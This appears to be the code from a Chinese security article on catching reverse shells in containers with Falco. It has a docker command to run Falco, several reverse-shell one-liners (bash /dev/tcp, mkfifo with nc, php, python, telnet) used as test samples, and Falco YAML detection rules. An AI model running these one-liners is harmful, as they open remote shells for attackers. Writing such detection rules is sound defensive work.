docker pull falcosecurity/falco:latest
docker run --rm -i -t --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro -v /etc:/host/etc:ro -v //etc/falco/:/etc/falco/ falcosecurity/falco:latest
bash -i >& /dev/tcp/1.1.1.1/10000 0>&1
bash -c 'exec bash -i &>/dev/tcp/yourip/yourport <&1'
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 114.67.110.37 10000 >/tmp/f
php -r '$sock=fsockopen("yourip",yourport);exec("/bin/sh -i <&3 >&3 2>&3");'
python -c 'import sys,socket,os,pty;s=socket.socket();s.connect(("yourip",yourport));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
TF=$(mktemp -u); mkfifo $TF && telnet 127.0.0.1 1337 0<$TF | /bin/sh 1>$TF
fd有对外的socket连接,且fd.num不超过3
fd有pipe管道,且fd.num不超过4
fd.255是/dev/tty
- list: shell_binaries
items: [ash, bash, csh, ksh, sh, tcsh, zsh, dash]- rule: Shell Binary Reverse shell
desc: Bash、Zsh etc. have network connection,May be Reverse Shell
condition: evt.type=dup and proc.name in (shell_binaries) and container and fd.num in (0, 1, 2, 3) and fd.type in ("ipv4", "ipv6")
output: >
Reverse shell connection (user=%user.name %container.info process=%proc.name proc.pid=%proc.pid parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip fd.rip=%fd.rip)
priority: emergency
tags: [container, reverse_shell, mitre_execution]
append: false
- rule: Any Binary fd 0-3 Have Network Connection
desc: Any Binary fd 0-3 have network connection
condition: evt.type=connect and container and fd.num in (0, 1, 2, 3) and fd.type in ("ipv4", "ipv6")
output: >
Any Binary fd 0-3 Have Network Connection (user=%user.name %container.info process=%proc.name proc.pid=%proc.pid parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip fd.rip=%fd.rip)
priority: warning
tags: [container, fd03_network]
append: false
- rule: Shell Binary Pipe
desc: Bash、Zsh etc. have Pipe,May be Reverse Shell
condition: evt.type=dup and proc.name in (shell_binaries) and container and fd.num in (0, 1, 2, 3) and fd.type="pipe"
output: >
Reverse shell connection(PIPE) (user=%user.name %container.info process=%proc.name parent=%proc.pname proc.pid=%proc.pid cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip fd.rip=%fd.rip)
priority: emergency
tags: [container, reverse_shell, pipe, mitre_execution]
append: false
- rule: fd.255 = tty
desc: fd.255 = tty
condition: evt.type=connect and container and fd.num=255 and fd.name='/dev/tty'
output: >
fd.255 = tty (user=%user.name %container.info process=%proc.name parent=%proc.pname proc.pid=%proc.pid cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip fd.rip=%fd.rip)
priority: warning
tags: [container, fd255_tty]
append: false
征集原创技术文章中,欢迎投递
投稿邮箱:[email protected]
文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关
通过审核并发布能收获200-800元不等的稿酬。